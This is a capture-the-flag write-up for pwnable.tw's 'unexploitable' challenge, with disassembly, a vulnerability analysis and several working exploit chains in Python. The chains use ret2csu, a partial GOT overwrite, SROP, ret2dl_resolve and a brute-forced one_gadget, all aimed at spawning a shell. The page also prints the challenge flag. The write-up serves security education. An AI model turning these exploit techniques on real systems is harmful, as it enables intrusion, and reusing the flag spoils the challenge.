unexploitable — pwnable.tw (500 pts)
← Back to pwnable.tw Challenge Index
nc chall.pwnable.tw 10403Flag:
FLAG{4_r34lLy_Un3Xpl01T48l3_S3Rv1C3_Sh0UlD_n0T_H4v3_SYsC4ll_1NS1D3}
Challenge Overview
A tiny x86-64 binary (No PIE, Partial RELRO, NX, no canary) whose main does nothing but sleep(3) then read(0, rbp-0x10, 0x100) and returns. The binary imports only three libc functions (read, sleep, __libc_start_main). There is no output function, no syscall gadget in the binary text, and no /bin/sh string — hence "unexploitable."
The challenge is a hardened variant of pwnable.kr's "unexploitable" — the original had a syscall instruction in the binary; this version removed it, forcing solvers to manufacture one.
checksec:
Arch: amd64-64-little
RELRO: Partial RELRO # GOT writable
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)Binary Disassembly
0000000000400544 <main>:
400544: push rbp
400545: mov rbp, rsp
400548: sub rsp, 0x10
40054c: mov edi, 0x3 ; sleep(3)
400551: mov eax, 0x0
400556: call 400450 <sleep@plt>
40055b: lea rax, [rbp-0x10] ; buf = rbp - 0x10
40055f: mov edx, 0x100 ; count = 256
400564: mov rsi, rax ; buf
400567: mov edi, 0x0 ; fd = stdin
40056c: mov eax, 0x0
400571: call 400430 <read@plt>
400576: leave ; mov rsp,rbp; pop rbp
400577: retKey Addresses
| Symbol | Address | Notes |
|---|---|---|
read@plt |
0x400430 |
Only input primitive |
sleep@plt |
0x400450 |
Only other callable function |
GOT[read] |
0x601000 |
Writable — outside RELRO-protected page |
GOT[sleep] |
0x601010 |
Writable |
GOT[__libc_start_main] |
0x601008 |
Writable |
.bss |
0x601028 |
Writable scratch area |
__libc_csu_init (CSU_POPS) |
0x4005e6 |
Pop rbx/rbp/r12-r15 gadget |
__libc_csu_init (CSU_CALL) |
0x4005d0 |
mov rdx,r15; mov rsi,r14; mov edi,r13d; call [r12+rbx*8] |
leave; ret |
0x400576 |
Stack pivot gadget |
Vulnerability
V1 — Stack Buffer Overflow
Root Cause: main allocates a 16-byte buffer (rbp-0x10) but reads up to 0x100 (256) bytes. With no stack canary, the saved rbp (at offset +0x10) and return address (at offset +0x18) are directly overwritable.
// Pseudocode of main
void main() {
char buf[0x10]; // 16-byte buffer
sleep(3);
read(0, buf, 0x100); // reads 256 bytes → overflow at offset 0x18
return; // leave; ret — uses overwritten rbp and rip
}Impact: Full control of RIP and RBP. However, exploitation is severely constrained:
- No output function — cannot leak addresses directly
- No
syscall/int 0x80instruction in the binary - No
pop rdi; retor similar simple gadgets — only the__libc_csu_initgadget pair - No
/bin/shstring — must be written to memory - 256-byte read — limits stage-1 ROP chain size
V2 — GOT[read] Sits Outside RELRO-Protected Page
Root Cause: The GNU_RELRO segment covers [0x600e28, 0x601000). After page-rounding, the loader re-protects [0x600000, 0x601000). But GOT[read] is at exactly 0x601000 — the first byte of the next page — and remains writable.
Impact: A single-byte overwrite of GOT[read] can redirect read@plt to any instruction within a 256-byte range of the original read() entry point. In the provided glibc 2.23, read() is at offset 0xf6670 and its syscall instruction is at 0xf667e — only the low byte differs (0x70 → 0x7e). Similarly, sleep() at 0xcb680 has nearby syscall instructions reachable by single-byte overwrites.
Exploit Paths
All solutions exploit V1 (stack overflow). They diverge on how they overcome the "no output, no syscall" constraints.
Path A — ret2csu + GOT Partial Overwrite → syscall Gadget → execve (Deterministic)
Used by: exp.py, solutions 60, 370, 1689, 1780, 10840, and many others
The canonical, fully deterministic approach. No brute-force needed.
Concept: Use the __libc_csu_init gadget pair ("ret2csu") to call read() with controlled arguments, overwrite a GOT entry's low byte to point at a syscall; ret instruction inside libc, then use the manufactured syscall gadget to call execve("/bin/sh", 0, 0).
Steps:
- Stage 1 — Stack pivot to .bss: The 256-byte overflow is too small for the full chain. Use ret2csu to call
read(0, bss, large), loading a longer stage-2 chain into writable.bss. Thenleave; retwithrbp = bsspivots the stack there.
# ret2csu helper: set rbx/rbp/r12-r15, then call [r12+rbx*8]
CSU_POPS = 0x4005e6 # pop rbx,rbp,r12,r13,r14,r15; add rsp,0x38; ret
CSU_CALL = 0x4005d0 # mov rdx,r15; mov rsi,r14; mov edi,r13d; call [r12+rbx*8]
# Stage 1: read(0, BSS, len(stage2)) then pivot
payload = b"A" * 0x18 # fill buf + saved rbp
payload += p64(CSU_POPS)
payload += csu(0, 1, READ_GOT, 0, BSS, len(s2), CSU_CALL) # read stage2
payload += csu(0, BSS, 0, 0, 0, 0, LEAVE_RET) # pivotStage 2 — Patch GOT[read] →
syscall; ret: Use ret2csu to callread(0, GOT[read], 1). Send exactly 1 byte (\x7e) — this overwrites only the low byte, turningread()(at0x...670) into thesyscallinstruction (at0x...67e).read()returns 1 → rax = 1.Stage 3 — Set rax = 59 (SYS_execve): Now
call [GOT[read]]invokessyscall. With rax=1, that'sSYS_write. Callwrite(fd, readable_addr, 59)— the kernel writes 59 bytes and returns 59 → rax = 59.Stage 4 —
execve("/bin/sh", 0, 0): Write/bin/sh\0to.bss(done in stage 2). Callsyscallwith rdi=&"/bin/sh", rsi=0, rdx=0, rax=59 → shell.
# Stage 2 chain (in .bss):
s2 = b"/bin/sh\x00"
s2 += p64(CSU_POPS)
# Patch GOT[read] low byte → syscall; read returns 1 → rax=1
s2 += csu(0, 1, READ_GOT, 0, READ_GOT, 1, CSU_CALL)
# write(rax=1) → write(0, readable, 59) → rax=59
s2 += csu(0, 1, READ_GOT, 0, 0x400000, 59, CSU_CALL)
# execve(rax=59) → execve("/bin/sh", 0, 0)
s2 += csu(0, 1, READ_GOT, binsh, 0, 0, CSU_CALL)Reliability: 100% deterministic. The low-byte overwrite is ASLR-immune since only the fixed offset within libc matters.
Path B — GOT Overwrite → syscall + Write Leak → system/one_gadget
Used by: Solutions 184, 278, 550, 927, 1297, 1715
Similar to Path A but adds a libc leak step:
- Overwrite GOT[read] or GOT[sleep] low byte to point at a
syscallinstruction (or thewritesyscall entry point nearby). - Invoke write(1, GOT[sleep], 8) via ret2csu — leaks the runtime address of
sleep()to stdout. - Calculate libc base from the leak.
- Second read loads a final ROP chain using full libc gadgets:
pop rdi; ret→"/bin/sh"→system(), or a one_gadget.
# After patching GOT[read] → write's syscall:
# write(1, GOT[sleep], 8) → leaks sleep address
sleep_addr = u64(recv(8))
libc_base = sleep_addr - libc.symbols['sleep']
# Send final chain:
pop_rdi = libc_base + 0x21102
payload = p64(pop_rdi) + p64(libc_base + binsh_off) + p64(libc_base + system_off)Reliability: 100% deterministic. The leak makes it more flexible than Path A.
Path C — SROP (Sigreturn-Oriented Programming)
Used by: Solutions 138, 331, 370, 606, 709, 1172
Uses the manufactured syscall gadget to invoke rt_sigreturn (syscall 15), which restores all registers from a crafted SigreturnFrame on the stack.
- Overwrite GOT[sleep] or GOT[read] low byte →
syscall. - Set rax = 15 by having
read()return exactly 15 bytes. - Call
syscall→rt_sigreturnrestores registers from a fakeSigreturnFrameplaced on the stack, setting rax=59, rdi="/bin/sh", rsi=0, rdx=0, rip=syscall_gadget. - The kernel "returns" into
execve("/bin/sh", 0, 0).
frame = SigreturnFrame()
frame.rax = 59 # SYS_execve
frame.rdi = binsh_addr # "/bin/sh"
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr # patched sleep@plt
# ... place frame on stack, send 0xf bytes to set rax=15, trigger sigreturnReliability: 100% deterministic.
Path D — ret2dl_resolve (Fake Dynamic Linking)
Used by: Solution 59
Constructs fake ELF structures (link_map, Elf64_Rela, Elf64_Sym, strtab entries) in writable memory and calls the PLT resolver (_dl_runtime_resolve) with forged relocation index. The fake symbol resolves to a one_gadget address computed as __libc_start_main@got + offset.
# Pivot rbp to .data, return to main to read fake structures
# Then jump to dl_resolve (0x400426) with crafted link_map and reloc_index
# Fake l_addr = one_gadget_offset, fake relocation target = writable address
payload = p64(dl_resolve) + p64(fake_link_map) + p64(0)Reliability: 100% deterministic, but complex to set up.
Path E — Brute-Force One-Gadget (Non-Deterministic)
Used by: Solutions 100, 821, 550 (alternative)
The laziest approach: overwrite the return address with a guessed one_gadget address directly.
- The last 12 bits of any libc address are fixed (page-aligned base).
- Guess the remaining 1.5 bytes (~4096 possibilities).
- Overwrite
main's return address withsleep_got + offset_to_one_gadget(partial libc address, or just the raw guessed address). - Retry until the guess is correct.
while True:
r = remote(host, port)
sleep(3)
payload = b"A"*0x10 + b"B"*8 + b"\x6a\xd2\xc8" # guessed one_gadget
r.send(payload)
try:
r.sendline("cat /home/unexploitable/flag")
print(r.recv()) # if we get output, the guess was right
break
except:
r.close()Reliability: ~1/4096 per attempt. With the 3-second sleep per attempt, this takes ~3.4 hours on average.
Path F — GOT Overwrite via or byte Gadget → write Leak
Used by: Solution 184
A creative variant using an obscure gadget found at 0x400510:
0x400510: or byte [rbx+0x5D], bl ; retBy setting rbx = GOT[read] - 0x5d, this gadget ORs a byte value into GOT[read], transforming read() into write() without needing a separate read() call for the patch. This provides a write primitive to leak libc, then finish with pop rdi; ret → "/bin/sh" → system.
Reliability: 100% deterministic.
Exploit Primitive Summary
| Primitive | How | Reliability |
|---|---|---|
| RIP/RBP control | Stack overflow at offset 0x18 | Deterministic |
Controlled read() calls |
ret2csu (__libc_csu_init gadgets) |
Deterministic |
| Stack pivot to .bss | leave; ret with controlled rbp |
Deterministic |
Manufactured syscall |
Partial GOT overwrite (1 byte, ASLR-immune) | Deterministic |
| Set rax to arbitrary value | read() / write() return value = byte count |
Deterministic |
| libc leak (optional) | write(1, GOT_entry, 8) via manufactured syscall |
Deterministic |
| Code execution | execve via syscall, or system/one_gadget after leak |
Deterministic |
Offsets (pwnable.tw libc_64.so.6, glibc 2.23)
# read() internal offsets
read_offset = 0xf6670 # read() entry
syscall_in_read = 0xf667e # syscall instruction inside read()
patch_byte_read = 0x7e # low byte to overwrite GOT[read]
# sleep() internal offsets (alternative target)
sleep_offset = 0xcb680
# Various nearby syscall instructions: 0xcb6de (byte 0xde), 0xcb60e (byte 0x0e), 0xcb655 (byte 0x55)
# Useful libc symbols
system = 0x45390
__libc_start_main = 0x20740
bin_sh = 0x18c177 # "/bin/sh" string
pop_rdi_ret = 0x21102
one_gadgets = [0x45216, 0x4526a, 0xef6c4, 0xf0567]Solution Write-ups
| File | Primary Path | Key Technique | Notes |
|---|---|---|---|
59.md |
D | ret2dl_resolve with forged structures | Unique approach; 100% deterministic |
60.md |
A | ret2csu → GOT[read] patch → syscall chain | Clean stage1/stage2 |
100.md |
E | Brute-force one_gadget (12-bit guess) | ~3000 attempts; lazy but works |
138.md |
C | SROP via GOT[sleep] patch → sigreturn | Ruby; elegant |
184.md |
F | or byte gadget to create write → leak → system |
Creative gadget discovery |
278.md |
B | ret2csu → GOT patch → write leak → system | Ruby; backup of read via __libc_start_main GOT |
331.md |
C | GOT[sleep] patch → SROP execve |
Straightforward sigreturn |
370.md |
C | SROP with pivots through multiple reads | Stack-pivot chain through .data |
424.md |
A | ret2csu → self-built syscall → execve | Compact chain |
550.md |
B | GOT[sleep] → syscall write leak → system | Leaks via write(1, GOT, 8) |
606.md |
C | SROP split across two reads | Frame too large for one read |
709.md |
C | GOT[sleep] partial overwrite → SROP | Sends 0xf bytes to set rax=15 |
821.md |
E | Brute-force one_gadget (12-bit) | Simplest possible exploit |
927.md |
B | ret2csu → write leak → one_gadget | Full libc leak then one-shot |
1172.md |
C+B | GOT patch → SROP execve, backup: write leak | Also uses sleep as syscall |
1297.md |
B | ret2csu → write(1, GOT[sleep]) leak → one_gadget | Clean 3-stage approach |
1689.md |
A | ret2csu → GOT patch → execve (no leak) |
Direct syscall chain; very concise |
1715.md |
B | GOT[sleep] → syscall write → leak → one_gadget |
Uses mov esi, [rsp+0x28] gadget |
1780.md |
A | ret2csu → GOT[read] patch → write rax → execve |
Clean no-leak chain |
1803.md |
B | GOT[sleep] partial overwrite → execl |
Ruby; overwrites 2 bytes of GOT |
10840.md |
A | ret2csu → GOT[sleep] patch → write rax → execve | Clear step-by-step notes |
Files
| File | Description |
|---|---|
exp.py |
Working exploit (deterministic, no pwntools, pure sockets) |
desc.txt |
Challenge description |
artifacts/unexploitable |
Challenge binary (x86-64, No PIE, Partial RELRO) |
artifacts/libc_64.so.6 |
Remote libc (glibc 2.23) |
solution/*.md |
Community write-ups (120 solutions) |